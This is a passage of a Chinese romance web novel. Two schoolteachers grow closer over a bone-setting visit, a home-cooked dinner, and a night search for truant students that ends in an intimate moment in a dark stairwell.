林筝墨乖乖回答着,却不懂对方为什么问这些无关紧要的问题。 她现在手疼得厉害,简桑正压在她韧带的位置,几乎已经到了她可以承受的极限,要是在往下压一点,估计立马能叫出声来。 简桑放轻了力道,两节手指搭在林筝墨的肘关节处。 她叹了口气,说:“林老师,你这个情况有点严重,我恐怕治不了。” 林筝墨心头一惊,“啊......” 几乎话音刚落,趁着林筝墨没防备,简桑手指往内一捏,掌心狠狠往肘内一拍。 咔—— 真实的骨头衔接的声音。 动作行云如流水,江湖骨神简医生令人咂舌。 林筝墨一声惊呼,只觉得筋骨一阵酥麻,血液忽然畅通,先前的疼痛感消失了,惊叹:竟然这么神奇! 原来简桑说治不了只是为了转移她的注意力。 简桑松开她的手,云淡风轻道:“骨头没太大问题,小错位,已经好了。但回去要静养,少抬手,少剧烈运动,以及暂时不碰水。” 一旁的简越舒了一口气,忙不迭道:“吓我一跳。” 妈妈! 神矣! “谢谢阿姨......”林筝墨心生崇拜,又觉得自己嘴很笨,说不出什么漂亮话来。 简桑看出林筝墨是个实诚人,其实也听不惯奉承的话,感觉大家就这样挺好,没必要客客气气。 “不客气。” “阿姨,医药费的话......” “你是小简的朋友,就不收钱了。” “啊,那不行。”林筝墨觉得不妥,明明已经给简主任添了麻烦,人家气喘吁吁背出校门,又急急忙忙开车过来,现在还要免单,她脸皮子厚不到这个地步。 简越看出林筝墨在为难,主动说:“我们还没吃饭呢,一班赢了,该——” 不对,一班赢了,该她请林筝墨吃饭呢。 林筝墨迅速反应过来,连忙接话:“一班赢了,我们该庆祝一下,那我请你吃饭吧。”随即转身看向简桑:“阿姨一起去吧?” 简桑婉拒:“晚间还有几个病人,早就预约好的,今天就不去了。” 她养生,饮食清淡,吃不惯外面的高盐高油。 简越迅速做了决定:“没事,那今天暂且我和小林吃。”接着说起了漂亮话:“等你哪天有空,我邀请小林到家里来,我们仨再吃个饭。” 一句话约了两顿饭,简越脑瓜子别提多灵光了。 简桑若有所思,觉得有点意思,这么多年,没见简越这么殷切过,看来这位同事确实不一般。 也好,她有几个真心朋友总归是不错的。 “嗯,你们商量就好。” 话音刚落,玻璃门忽然被推开,一中年女人抱着哭啼啼的小孩儿进来。 “简医生,我家娃——” 简医生又来活儿了...... * 从诊所出来的时候,林筝墨依旧心有余悸。 先前错位那会儿,寻思着要在医院躺个十天半个月的,没想到阿姨咔一声就给自己弄好了。 依旧不太确信,她蜷起手肘,来回弯曲试了试,沉浸在自己世界里。 简越偷看她,唇角上翘。 “所以林老师晚饭想吃什么?” “对哦。”林筝墨回过神来,反问:“简主任,你想吃什么?” 辛苦简主任。 谢谢简主任。 你真好。 你妈妈更好。 类似于这样的话,心里说了一万遍,嘴巴上却怎么都说不出一句来。 嘴笨。 好烦。 “嗯......”简越思索片刻,坦言:“火锅太辣,烧烤太油,街边摊油不干净。” 绕来绕去,她有自己的小心思。 看向林筝墨,继续攻略:“林老师,既然我们都在健身,不然吃点干净的吧?” “可以。”林筝墨拿出手机,寻思着简主任这是想吃健康餐,那么一些轻食餐厅可以满足。 却没想到下一句简越说:“去我家吧?” “嗯?”林筝墨以为自己听错,再度确认:“你说什么?” “去我家。”简越正色:“冰箱里有好多菜,不吃就浪费了。” 合理。 不容置喙。 可是,不是我请你吃饭吗?怎么又变成了消灭冰箱计划? 林筝墨在犹豫...... 犹豫在于,这不是又吃人家白食吗? 她和简越关系还没到这地步呢。 她不喜欢吃人家的欠人家的,关系一般的,一粒米都不行,不然会有心理负担。 简越看出她的犹豫,主动提议:“但冰箱里也只有青菜了,你可以外卖一点肉,我们自己做饭,吃点健康餐?” 林筝墨心里可算平衡了,今儿不出一点血,无法心安。 “可以的简主任。” * 简越大部分时候住在教师公寓,偶尔周末会回家和妈妈吃顿饭。 妈妈简桑,这个伟大的女人,寄予简越温暖的同时,也放手让她自由成长。 她们的关系像母女,也像朋友。 简桑很早就说过:越越,你工作之后最好是住外面。我们可以住得近一点,互相看望对方,但我不希望我们同一屋檐下,那样我会干涉你的生活,窥探你的自由。 你有你的空间,我也有我的。 从小在福利院长大的简越,独立是她人生中的第一个课题,过于传统的家庭生活,对她来说有点甜腻。 她很感谢简桑对她的洞悉。 是的。 她喜欢一个人住在教师公寓。 很轻松,无负担。 公寓是她的第一个家,妈妈那里是第二个,福利院是第三个。她觉得天南地北都能容纳她,所以她一点都不孤单。 学校的教师公寓是老建筑,白砖灰墙,七层式。 老师们似乎统一恋旧,对于这种千禧年代的建筑毫无怨言,反而在阳台上栽满了大片大片的宝石花,推开窗户还能闻到栀子花香。 这像是一个时间保护罩,外面的时间在流逝,里面的人依旧迷恋着十几年前的庇护所,某种意义上来说,这也算是一种幸福吧。 步入曲曲折折的楼梯。 简主任的脚步声是“啪嗒”,左脚是“啪”,右脚是“嗒”,是鞋屡摩擦灰尘的声音,林筝墨的脚步声也是“啪嗒”。 林筝墨听着“啪嗒”,看着简主任晃动的腿,思绪飞到辽阔的平地。 在音律感极强的林筝墨耳朵里,她们之间形成了一道旋律。 “京酱肉丝、白灼菜心、春笋煲排骨......”简主任嘟哝着:“小林,等会儿我们做这些菜,你觉得怎么样?” “都喜欢吃。”林筝墨望着简主任的肩膀,“对了,简主任,有件事想和你商量一下。” 简越停下脚步,回头望她:“什么?” “你最近好像一直有叫我小林。”林筝墨心想,一直小林小林的叫,那我也“礼尚往来”。 “喔,好像是诶。”简越眉梢敛着笑,“嗯,然后呢?” “我以后不在学校的时候,也不叫你简主任了吧?” “好啊。”简越笑意荡漾开来,满是期许,“那你想叫我什么?” “简......”林筝墨抬眼,珀色的瞳孔里掠过一点笑意,稍纵即逝又不可捉摸,仿佛没笑过,“嗯,简主任,既然你叫我小林的话,不然我就叫你.......老简?” 她故意的。 老简老简老简。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 22-30 第22章 第二十二章 会做饮品,做饭,做…… 第二十二章 “嗯, 简主任,既然你叫我小林的话,不然我就叫你老简?” 那瞬间空气特别安静,以至于连灰尘都变得有存在感。 简越觉得自己好像脑袋宕机了? 要笑吗?合适吗? 要哭吗?合适吗? 宝宝, 你真会取名字。 “小”和“老”确实是反义词呢, 但在年龄仅仅相差两岁的情况下, 是不是不太合适呢? 但依旧觉得林筝墨可爱至极。 爱情果然是过于玄妙的东西,简越只花了几秒钟就接受了这个称号。 换个角度想, 小林和老简怎么不算一种CP呢? 只要是林筝墨取的, 叫老尿都是甜甜的。 “可以啊。”简越平静地接受,还一本正经给出解释:“合适,我确实要比你大些。” 简越的反应平静过头, 林筝墨心想,这人的情绪真是稳定到可怕。 “既然都有了新称号,那要不要熟悉一下?” 林筝墨:“?” 简越:“小林。” 林筝墨只好配合她:“老老简?” 好奇怪怎么回事? 果然世界上没有难听的话, 主要是看耳朵怎么想。 有些人的耳朵有过滤器,一句老简自动过滤成老婆, 顶级高手是可以把自己也骗过去。 简越居然觉得十分悦耳, 唇角情不自禁有了弧度:“其实还不错啊。” 林筝墨怀疑自己的耳朵出了问题, 简主任一定是她见过最奇怪的人! “走吧,还剩两楼。” 两人在七楼门口停下, 简越拿出钥匙开门, 期间自顾自说:“七楼只有我一个人住, 隔壁许老师今年在市里买了房,她们一家都搬出去了。” “哦,所以现在隔壁没人住了么?” “对。” 林筝墨往那扇门瞅一眼,不知道简越的下一位邻居是谁。学校的教师公寓很抢手, 因为申请就能获得,房租低到忽略不计,应该很快会有人搬进来。 门开了,俩人进屋。 总体来说,简越的房子要比林筝墨的小公寓大一些,是标准的二室一厅,采光极好。 宽绰的客厅被打扫得一尘不染,好像连地砖的缝隙都被揭开仔细看过,爱干净这一点,真的很拉好感。 林筝墨观赏着简主任生活的布局,她在阳台养花、种草,两人有异曲同工之处。阳台向阳,下午客厅应该被阳光晒过,此刻大片的植物散发着鲜艳的绿,空气中漂浮着一股温暖的味道。 这很像林筝墨小时候向往的家。只是后来买了带电梯的公寓,这样的大阳台便是痴心妄想了。 简越打开鞋柜,弯腰,主动将一双拖鞋递给林筝墨。 “你穿这双。” “好。” “随便坐,别客气。对了,你买的菜还有一会儿才到吧?”简越顺手将钥匙挂在挂钩上,径直去厨房洗手,隔空听见她的声音:“那我先给你做个喝的,想喝什么?” 林筝墨目光往厨房看去,简主任的身影在玻璃门上晃荡,光影交叠,像一副虚浮的画,又像夜晚湖泊里荡漾的水,流动在眼泊里。 “我都可以。” “选一下,杨枝甘露?奶茶?” “你会做?” 简越忽然探出一颗脑袋来,对着林筝墨笑:“很简单的,我会做的还有很多” 会做饮品,做饭,做 “奶茶吧。”林筝墨大大方方点起来:“少糖。” 抱着一种试探的心理在点,寻思着简主任做的应该不会太好喝。 没一会儿,只听见冰箱打开了,噼里啪啦,简主任敲打着冰板上的冰。半晌,哗啦哗啦,勺子搅拌液体,摇晃着,像是调酒师一样娴熟,尽管只听到声音。 林筝墨半靠在沙发上,聆听简越制造出来的音乐。 随着“咚”的一声,雪克杯放在台面上,简越说:“好了,你试试,我再做一杯。” “喔。” 林筝墨不抱期待地过去,惊艳地回来。简主任调的奶茶居然有模有样,她窝在沙发上抿了一口,茉莉的茶味荡漾在舌尖,没有添加剂的味道,很清爽。 她忽然觉得,和简主任这样的人生活在一起应该很幸福吧,这是一个具象的、对生活有热情的人。 林筝墨拍下一张照片,发给啊啊啊。 与此同时,简越的手机震动了一下 * 林筝墨:【我在喝奶茶。】 厨房里的声音忽然消失了,手指戳键盘的声音可以忽略不计。 啊啊啊:【背景像是在谁家?】 林筝墨:【简主任家里。】 啊啊啊:【哟嚯,她做的?】 林筝墨:【对,她好像是个全能女人。】 厨房里,听到简越笑了一声,那笑声像是轻轻从鼻腔里溢出来的,非常短促。林筝墨以为是幻听,便没当回事。 林筝墨:【对了,今天运动会,有学生撞到我的手臂,也是她带我去的。】 啊啊啊:【手撞到了?什么时候的事!】 林筝墨:【现在没事啦。】 那时简越正在厨房,一只手撑在台面上,盯着她们的聊天框,沉默许久也没打出一个字来。 实话说,简越有点吃自己的醋了,这种感觉非常奇怪。下午林筝墨受伤的时候,没有给自己发消息,后面也是自己解决,结束之后也有很多时间,却现在才说,说明林筝墨现在遇到问题,第一反应不是在网络上找她。 最近,林筝墨只要是和自己待在一起,那基本就不会在网络上发消息。 虽然可以证明对方玩得很开心。 虽然,也可以证明自己好像有那么一点点点魅力。 但简越的别扭在于,如果线下的这个人不是自己,而是别人呢? 呀! 人类真是奇怪的物种,爱到深处也心安理得吃自己的醋。 她打下一句:【你最近和你主任在一起的时候,都不怎么给我发消息呢?】 林筝墨诧异:【你居然吃她的醋!她是个无敌大直女!】 简越笑而不语:【是吗?万一她是深柜呢?】 林筝墨不容置喙:【我已经观察过了,她一定是喜欢男生的。】 不等简越发下一句,林筝墨又补充:【我很乐意和她交朋友,但朋友以外是不可能的,绝对不可能。】末了,发来一句甜腻腻的话:【当然只能是你,别人不行。】 《无敌大直女》 《绝对不可能》 《只能是你》 原来认可和否定居然能够同时出现,简越承认自己的心情也是忽上忽下,顾虑依旧,害怕弄巧成拙。她放下手机,给自己摇了一杯奶茶,端到客厅去。 “小林,好喝吗?” 林筝墨跟着放下手机,颔首:“好喝的老简。” 简越:“” 林筝墨的冷幽默。 * 晚餐非常丰盛,不亚于外面任何的餐厅。 林筝墨想过简越可能会做饭,但没想过她这么会做。 简越能在食材上变魔法,做出来的东西赏心悦目,色味俱全。林筝墨明显被惊艳到,平日吃饭不过半碗的她,今天也吃了一大碗。 “多吃点,你好瘦。” “嗯,原来以前不爱吃饭是不好吃。” 简越扬唇:“这是在夸我的意思?” 林筝墨点头。 简越与她开玩笑:“下次夸我的话,可以直接一点的。” “那我偶尔可以来蹭饭吗?”林筝墨鲜有这般厚脸皮的时刻,为了美食,还是冲锋陷阵了:“我买菜,你做饭;你做饭,我洗碗。” “那刚好,我好讨厌洗碗,求之不得,求你每天都来。” 不管对方是客套还是玩笑,一律当真。两人无意中对视一眼,情不自禁同时笑起来。 可是,简越只是嘴巴上这么说,饭后却是不让林筝墨洗碗的,只是象征性让林筝墨收拾了一下碗筷,自己稀里哗啦洗起来。 林筝墨站在旁边有点无所适从,觉得简主任烂好人一个,什么脏活累活都揽过去了,那她算什么?算一个好吃懒做的麻烦虫?又为人家带来麻烦,又吃人家的白食。 哎! 她只好看简越洗碗。 一个有条不紊的人,连洗碗也是摆放得整整齐齐的。泡沫在碗碟之间滑来滑去,发出咯吱咯吱的声响。 “对了,下个月团建爬山,你去吗?” “有这活动吗?”林筝墨双手抱胸,斜靠在门框上,眼神空茫。 “对,好像是周五出发,周天回来。”简越回过头看林筝墨一眼,发现她在发呆,“没通知你吗?” “应该通知过吧,但我不想去,所以没记心里。” 小鸵鸟是这样的,什么活动也不参加,团建好像是受刑,和别人多交流几句像扒了她皮似的。简越原本想着去爬山可以多接触一下,但林筝墨不愿意去就算了。 林筝墨反过来问她:“你要去吗?” “当然了。”简越笑道:“这次是我组织的活动,我能不去吗?” “你组织的啊。” “对啊。” 于是,林筝墨有了以下心理活动:我本来不想去的,但是呢,总是不参加这些活动不太好吧?这点自知之明我还是有的。虽然我平常不爱说话,但我知道,同事会私下说我不合群,那我偶尔还是要做做样子的。未来,这些活动必然要参加一次两次,反正也是受刑,不然还是早点受刑吧?和简主任是朋友,既然简主任组织的活动,那一定是要给个面子了。 “我又想去了。” 简越洗碗的手忽然顿了一下,鼻子里溢出笑腔:“啊怎么又改变注意啦?” “我想强身健体嘛。” “哦我还以为你是因为我改变的主意。” “有一点儿吧。”林筝墨说完这句,表情不自在起来,立马转移视线去看窗外:“怎么又下雨了?” 五月的天气实在诡谲,白天烈日灼灼,晚上阴雨绵绵,冷热非要争出个胜负来。 洗完碗,林筝墨觉得不宜久留,说要早点回家。 简越提出送她,被她婉拒了。 “我对象要来接我。” 简越明显愣了一下:“那你注意安全,我就不送你了。” 林筝墨带着谎言离开,她不是隐形人,她的对象才是。一个人走出教师公寓,简越站在阳台目送她,直到消失不见。 林筝墨打着一把蟹青色的小花伞,上面缀着茉莉花瓣,是出门的时候简主任送给她的。 林筝墨撑着小碎花,行走在南城的街道上,思绪飘忽。 路面积水,不慎踩到一块空地砖。污泥溅上脚踝,心情忽然变得很糟糕。 雨天要让人伤心,确实轻而易举。 空气微冷,林筝墨看着街边的电光幻影,影影绰绰,绰得浑身成了灰色。 她有点儿想啊啊啊了,可她不想给啊啊啊打电话,她忽然生出一点不悦来。 距离与啊啊啊见面还剩二十几天,现在她每天会听一到两首MP3,她觉得自己在这段爱情里实在过于乖巧了。 啊啊啊说,五十天见面,她就等五十天,可等待太漫长,她就恳求对方,对方缩短到三十天,她就按照倒数日期来听MP3,一首不多,一首不少。 那么,啊啊啊又给了她什么呢? 诚然,啊啊啊给到很多温暖,但那些关心和问候,有时候也只是隔靴搔痒。 比如现在,她没办法和啊啊啊一起回家。 牢骚升温。 雨天无法与自己喜欢的人见面,连手指碰一下都成了奢望,实在无法理解,二十几天和现在见面有什么区别? 有什么区别? 对方到底在躲避什么? 不识趣的电话忽然打过来,林筝墨接通,语气稍微冷了些。 “嗯,在下雨。” “咦?不高兴吗?”啊啊啊就是那么敏锐。 “没有。” “好像有诶。”啊啊啊的语调依旧那么温和,“是我惹你不开心了?” 林筝墨脾气一下子就没有了,啊啊啊的声音好像安慰剂,那种宁和又温柔的语调,让林筝墨觉得自己的情绪有点幼稚。 语气也渐渐回温:“没有啦。” 听筒里传来啊啊啊的声音:“让我猜猜你为什么生气。” 林筝墨不说话,她倒是想听听。 “你应该刚从简主任家出来吧?下雨了,天又冷又黑,一下子想起我,牢骚起来,在想我这个时候为什么不在你身边?” 每个字都在林筝墨心尖上跳,啊啊啊果然是最了解她的人。如此一览无遗倒是尴尬起来了,捏着电话半晌说不出一句反驳的话来。 对啊。 是啊。 “我说对了吗?” 林筝墨停下脚步,一抹倩影立在伞下,雨点噼里啪啦拍打着,“嗯,我想你了。” “我也是。”啊啊啊叹了口气,“我们还剩多久见面?” “二十五天。” “我想了想,没必要这样拖延下去。” 林筝墨的心陡然加速。 “等我忙完工作,我会提前来见你,但时间暂且没定,小于二十五天,好吗?” 这像一个秘密魔盒,没有期限,可能是明天,后天,大后天也可能是下一秒。 林筝墨承认自己被安慰到,狠狠安慰到。 “好。” “还生气吗?” “都说没有生气的。”林筝墨口是心非起来,“雨下大了,我回家给你打电话。” * 雨还在下。 泡泡一直坐在客厅叫,叫累了,跑阳台去刨猫砂。 林筝墨在沙发打视频电话,不是和啊啊啊,而是“相亲相爱的一家人”。 视频里,周京芳问起林筝墨手肘的事,应该是学校走了口风,她听到一些。 “妈,没事的,已经好了。” “真的没事吗?我们现在准备开车过来了,徐校长说,你当时疼得走不动路了?这么大个事怎么不马上和我们说?” 徐校长是林鸿的同学,林筝墨在学校有个风吹草动,都能马上吹到家里人耳朵里。这不算一种关心,而是监视。 “我没事。”林筝墨怕他们真的跑家里来,对着镜晃了晃手,“真的,一点不疼。” 周京芳虚眯着眼睛看镜头,不确定,“你再晃晃我看看呢?你别逞强啊。” 林筝墨哭笑不得:“妈,爸,我真的没事!!” 对面这才放下心来,却无挂断之意,话题摸摸索索又聊到了冯老师的儿子。 “对了,墨墨,怎么回事呀?上次冯涛加你之后,冯老师说咱们家孩子太讲礼貌了!这话中有话啊!礼貌是对的,但不能人家给你发个什么,你都说嗯嗯,哦哦。” “礼貌回复也有错?” 林鸿发出呵呵的笑声,在镜头里露出脸来,搭腔:“你妈妈的意思是,人家给你分享一点什么,你也分享过去。你们年轻人谈恋爱,要你来我往啊,人家一个人发,你太讲礼貌,那就成了敷衍,成了独角戏。” “我不知道发什么。”林筝墨麻木回答着。 周京芳欣然调解起来:“发你的猫,发你今天干了什么,吃了什么,这一来二往的,不就熟络起来了吗?傻孩子。” 林筝墨何尝不知道? 要在网络上和一个人熟悉起来,她可比周京芳门儿清。可她的生活碎片很宝贵,只想给啊啊啊一个人,她对那个冯涛真的不感兴趣。 “知道了,我困了。” “你又打岔!” “真的困了。”林筝墨故意发出哈欠声:“明天我还要上班。” “那冯涛那边?” “嗯,我知道。” 知道的。 继续敷衍。 * 【加更章】 * 那场雨后,林筝墨的坏心情也跟着飞走了。她并没有和冯涛分享日常,索性连假装的礼貌都不要了,直接不予回复。 学校的运动会圆满结束,老师接力赛跑那个环节,居然取得了意外的成绩,第二名。 原来简主任跑步很快,爆发力惊人,在学生的尖叫声中确实也惊艳了林筝墨一下。 后来林筝墨才惊觉,平日里简主任教她跑步时多有耐心,一点锋芒也不露,实在是低调至极。 时间是一本薄薄的挂历,一页一页翻,哗的一声,数字“25”变成了“20”。 时日渐近,啊啊啊依旧没有提出见面,林筝墨也不再拘泥于这个问题。 她很忙。 一班的月考成绩不佳,从中等水平下滑到垫底,林筝墨翻看试卷,发现是有人拉低了平均分。 同办公室的老师说:“林老师,怪你太温柔,学生们只顾着和你交朋友,忘了要交作业,你这样不行,要对他们严厉点!!” 林筝墨却觉得这不是主要原因,因为数学老师也说起这个问题。 “怎么回事?那个赵筱筱,第二页连个解字都不写,直接交了白卷!越来越不像话了!” 林筝墨只是听着,默不作声翻开筱筱的试卷,筱筱英语向来不错,这次却是下滑最严重的,她不是第一名了,居然只考了70分,这不是她的水平。 事出反常必有妖。 下课后,林筝墨把赵筱筱叫到办公室来,那家伙天性开朗,一点不见愁,反而盯着林筝墨直笑。 林筝墨一声叹息:“你最近怎么回事?” 赵筱筱敛下笑意,端正态度:“这次失误了!下次一定考好!” “我们班最近氛围怎么样?”林筝墨漫不经心打探着。 “挺挺好呀,我们放学都——”赵筱筱喉咙滑动了一下,“都乖乖回家。” 未成年的心理活动就是这么明显,你和她说几句话就能探出哪里不对劲。 林筝墨点点头,“嗯,好,认真听课,不要睡觉了。你去上课吧。” 当天是周五,隔日不上课,放学铃声一起,学生们疯了似的逃出牢狱。林筝墨留了个心眼儿,站在办公室门口,盯着一班的方向。 不多时,看见赵筱筱、沈礼萍以及另外三个男同学,五人成群成伴,嘻嘻哈哈往校门口走去。 林筝墨趴在阳台,见他们几人也只是正常出了校门,心想是不是自己思虑过多。 可很快发现了端倪。 赵筱筱领着沈礼萍,俩人雀跃地过了马路,另外三个男生打了一辆车先离开,随即一辆酷炫又拉风的摩托停下,与南中的校服简直格格不入。 下一秒,摩托上的人扔了两个头盔给赵筱筱,赵筱筱居然非常熟练地接住了? 林筝墨眉梢蹙起,瞳仁里噙着困惑,这是在做什么?下意识想叫赵筱筱的名字,可实在太远了。 待到她下楼,对方早就绝尘而去 也就是说,赵筱筱和沈礼萍上了机车男孩的车? 林筝墨站在校门口,快速进行着头脑风暴:上报不上报? 她不是班主任,这件事可以假装没看见。可她真的说服不了自己,都是她的学生,不可能不管。 那些鬼火少年带坏学生的案例太多了。 一些惊悚的画面在她的脑袋里回闪着,目前最担心的问题是会不会因为车速过快撞车。 思来想去觉得不能坐以待毙,迅速拿出手机,点开工作群,@班主任,手指顿了一下,觉得不合适,切出去,点开简越的聊天框。 简主任 好像只能找简主任了。 语音电话拨通过去。 “喂,简主任,这边出了一点情况——” * 电话里,林筝墨简单描述了一下情况。简越越听越生气,几乎是百米冲刺下去的,生气在于:赵筱筱自己一个人不像话就算了,干嘛要带上沈礼萍? 以简越对沈礼萍的了解,这孩子家庭的境况已经很难了,若是再出什么意外,那就是雪上加霜。 与林筝墨在学校门口碰面,简越一路小跑过去。 “什么情况?” “我刚看见她们往那边开走了,具体去什么地方,我不知道。” 南中的学生是不能携带手机的,所以没办法联系她们,现在的选择是,要不要通知家长? 这是个很难抉择的问题,通知家长,必然是慌慌张张,全城寻找,找到就是一顿暴揍,不通知,那出了事谁负责? 要多方权衡,不能莽撞行事。 简越当即做了决定:“这样,我们先去一趟网吧,如果没人,我们就通知家长。” “好。” “我去骑电动车,你等会儿。” 没一会儿,简越从教师公寓骑出一辆车来,自上次载过林筝墨后,简越就把车还给了朋友,默默下单一辆,没想到这么快就派上用场。 南中附近有什么网吧、台球室、什么臭水沟、烂天台,简越都了如指掌,她不是第一次去抓学生了。 “他们五个人吗?” “加上骑摩托车的,是六个。” “有可能去网吧开黑。” “开黑?” “五个人一起打游戏。”简越眉头紧蹙,实在想不明白,最近赵筱筱不是挺听话的吗?那家伙又搞什么名堂! 电动车开得很快,风声簌簌刮擦着耳朵,林筝墨捏着简越衣服的一角,贴在耳边问:“那如果我们捉到她们在上网,会通报批评吗?” 简越颔首:“那肯定的。” “喔。”林筝墨垂目,思索着,说:“那如果她们不在网吧开黑呢?” “就再议。”简越敏锐察觉到林筝墨的情绪,“你不会想包庇她们吧?” 林筝墨居然没否认。 简越叹了口气:“这种情况再考虑要不要保守秘密,那属实是一种溺爱了,做老师的,不可能在学生面前总是美好形象,小林,我知道你性格是温和,不喜欢得罪人,但这种情况绝对不能没有底线,要是心里没有一杆秤,可能会害了他们。” 说完这句,简越往后视镜看了眼,发现林筝墨依旧不说话,好像的唇抿成一条线,不知道是不是车开得有点快,觉得她眼眶是润润的。 简越心软了下来:“没事,这件事我来处理。” “我不是包庇她们。”林筝墨终于开口:“我没想包庇她们,我只是在想,如果她们是在做别的事情,我们要不要也处罚她们?有没有十分之一的可能,事情情况没有我们想象中那么坏?那如果我们很快打电话给到她们的家长,会不会起到反作用?” 简越恍然大悟,林筝墨原来是这个意思。 本质是:林筝墨想象不出这几个学生能做出什么坏事——她不是想包庇,只是希望简越不要一刀切吧。 简越意识到,自己先前说的那句“不能没有底线”有多过分,她好像是否定了林筝墨为人师表的态度。 所以林筝墨眼眶泛红是因为自己说的话太伤人了么? 天啊。 简越的心像是被狠狠揉过的面包屑。 碎了一地。 “那我们先去看看她们在干什么,多找几个地方,不行再通知家长。”简越声音变得柔和了些:“刚刚理解错你的意思,别往心里去。” “没事。”林筝墨声音淡淡的,“你开快点吧。” 傍晚时分,电动车停在网吧门口。 随着社会的发展,现在的网吧已经不像以前那么乌烟瘴气了,管控严格,没有身份证不能上网,但这些高一的学生还是有自己的办法。 他们会找高三已满十八岁的学生“买位置”,在角落开上几台,在网管不注意的地方,自己坐下打一会儿游戏。 简越上楼的时候,没逮到赵筱筱,反而瞅见了几个同年级的学生。 学生们对于简主任忽然到来的态度是——全体起立!一窝蜂往厕所钻,假装只是路过上厕所。 简越巡视一圈,没有目标,在市中心的网吧不会出太大问题,暂且懒得管他们。 “这里没有,我们换地方。” 两人迅速开启搜罗计划。 方圆十里的台球厅、臭水沟、烂网吧翻了个底朝天,一无所获,时间已过去两小时。 届时天已昏黑,两人站在一栋老式建筑下,橘色的瓦斯灯泡落在脸上,感觉不到一点浪漫,只剩疲惫,这样找下去不是办法。 简越苦中作乐:“下辈子还当老师吗?” 林筝墨摇头,“不当了。” 简越:“我先打个电话,你等等。” 简越与姨妈通电话,问起赵筱筱的事,姨妈波澜不惊,悠哉悠哉:“噢,筱筱吗?不在家呢,她昨天就说啦,去沈礼萍家写作业,让我晚点去接她,她怎么了?” 简越说了句没事,挂断电话,转身给沈礼萍奶奶打电话。 “简老师,礼萍去筱筱家玩了,九点回来。” 串通好的。 简越挂断电话,转身同林筝墨说:“看来我们必须当这个坏人了,她们都在撒谎,说去各自家里了,很聪明,还让家长晚上去接,所以家长没有一点怀疑。” 林筝墨的心跟着沉下去,“嗯,那通知家长吧。” 简越重新拨通姨妈的电话,电话嘟了一声,林筝墨忽然在她手臂上轻轻拍了一下。 “怎么了?” 林筝墨小声说:“我看到那辆摩托了!” 那辆机车就停在巷口,银灰色,没那么显眼,所以先前没有注意到它。这一带是九十年代末的老楼房,住在这里的基本都是老人,有很多废弃楼顶。 两人对视一眼,忽然听到一点向东。 头顶,隐约传来少女的笑声,抬头一望,站在两栋建筑的夹角,这个视线望上去,天空显得非常渺小,好像只有一隅,一片,是一张淡薄的纸。窗户上挂着老年人的汗衫,在晚风里飘来飘去。 “礼萍——” “哈哈——” 那声音渐渐清晰了,听出是赵筱筱。 简越和林筝墨对视一眼,可算是找到老祖宗了。这是天黑了该来的地方么!!! “我们上去看看。”简越走在前,入口黑黢黢的,像血盆大口,人一进去,瞬间就被吃掉了。 林筝墨忽然觉得后背一阵阴凉。 迅速跟上。 天煞的,这楼道没灯,简越在前面跺了几次脚都没反应,摸出手机,用手电筒支开亮,回头一看林筝墨,发现对方扶着楼梯杆,小步小步挪动着,脸色煞白。 “小林,你是不是害怕?” 林筝墨点点头。 “不怕,过来,我牵你。”简越伸出手去,在林筝墨抬起手时,五指与她紧扣在一起。 纤纤细指穿插过指缝,冰凉的肌肤像牛奶一般淌过简越手掌心。 忽然被牵,林筝墨手指猝不及防颤抖了一下,紧接着小小的颤栗也被黑暗吞噬了。 简越深呼吸,这是她第一次和林筝墨这样牵手,即使只是偶然,只是意外,心跳却无端漏了一拍。 “过来,慢慢上来。”简越小心翼翼拉着对方,直到林筝墨与她并肩,两人共同站在一个台阶上,“你走前面还是后面?” “和你一起。”林筝墨小声说:“不在前面也不在后面。” 她想和简越并肩而行。 “好。” 这建筑有些年代了,空气中弥漫着一股发霉的气味,楼道有一些不规则的方形镂空图案,顺着洞口落下幽暗暗的光,像一只平躺的斑点狗。 两人一阶一阶地上。 每一个阶梯都很窄,窄到两个人的肩膀摩擦在一起,林筝墨的洗发水味道跳跃到简越的发丝上,气味交缠。 黑暗中,林筝墨一直在心里问一个问题:为什么是十指紧扣? 为什么是十指紧扣?简越没松开,她也没挣脱。 因为害怕,就让简主任这样牵着她,可为什么是十指紧扣? 她情不自禁要将这个动作放大一百倍。 在她的人生交际中,从来没有与一个不太熟悉的女性这样牵手过,在对方指腹的纹理中感受到一股力量,是慰籍,也是一种怪异情愫的萌芽。 林筝墨觉得自己心跳很快,她不敢把这种心跳加速归因于心动,只能在认知的字典里找到一个词代替:惊吓。 她被黑暗吓到了。 一定是的,别无其他。 简越只是一个同事,亦或者是朋友,不可能高于这些关系之上,那是绝对的道德底线,啊啊啊才是她的对象。 这里太黑了,我被吓到了,所以我的心跳才这么快——林筝墨这样安慰自己。 林筝墨正给自己做心里建设,待到三楼时,忽然听到“吱吱”一声,心忽然提了起来。 黑暗中的小尾巴快速逃窜着,简越用电筒一照,一条油腻腻的大老鼠花枝招展地窜过,动作娴熟到就差说“我的地盘”四个字了。 “啊!”林筝墨一声惊呼,顾不得礼貌和讲究,在老鼠窜过时忽然跳了起来,“简主任!救我!!” 两人肩膀撞在一起,林筝墨主动抱着简越的胳膊,“简主任,我怕!你抱抱我!” 是在怎样危急的情况下才会说出这样的话,林筝墨也顾不得害臊不害臊了。小时候去乡下看外婆,听过老鼠咬人的故事,患有洁癖症的她,实在难以忍受这种肮脏的动物。她让简越抱抱她,那是一种本能的求生欲l望。 几乎是在说出这句的时候,简主任就伸出手拥住了她。 下一秒,简主任半张脸贴过来,侧脸贴在林筝墨的耳朵上,一只手抱住林筝墨的脑袋,缓慢地、轻轻地抚摸着她的发梢,呢喃着:“不怕不怕,我在的,城里面的老鼠不咬人的。” 简越说话时脸颊贴在林筝墨脸颊,与她肌肤相触。 林筝墨从老鼠的惊吓中跳出来,迅速跳入了另一种惊吓。 那是一种截然不同的感觉,和动物带来的情绪不同,是触及心灵的惶恐。太近了,林筝墨觉得太近了,她都能感受到简越呼吸的温度,灼热的气息滑过耳朵,如同一根火柴点亮了漆黑的楼梯道。 很热。 又很香。 简主任的声线像是一朵花,花瓣一瓣一瓣凋落,留下的花蕊令人更加目眩神迷起来。 林筝墨迅速自我审判,她有啊啊啊,她是一个有对象的人,不应该对别人的触碰这么敏感,更何况这个人还是简越,她觉得好别扭,好罪恶。 “啊——”林筝墨像触电一样弹开,主动拉开距离,在黑暗中慌张道:“老鼠呢?走了吗?” “走了。”简越用手电筒往地面晃了晃,光晕掠过林筝墨的脸,她的脸苍白到没有血色,瞳孔失了神,像是被什么东西吓到。 简越关掉了手电筒,问她:“你还好吗?” 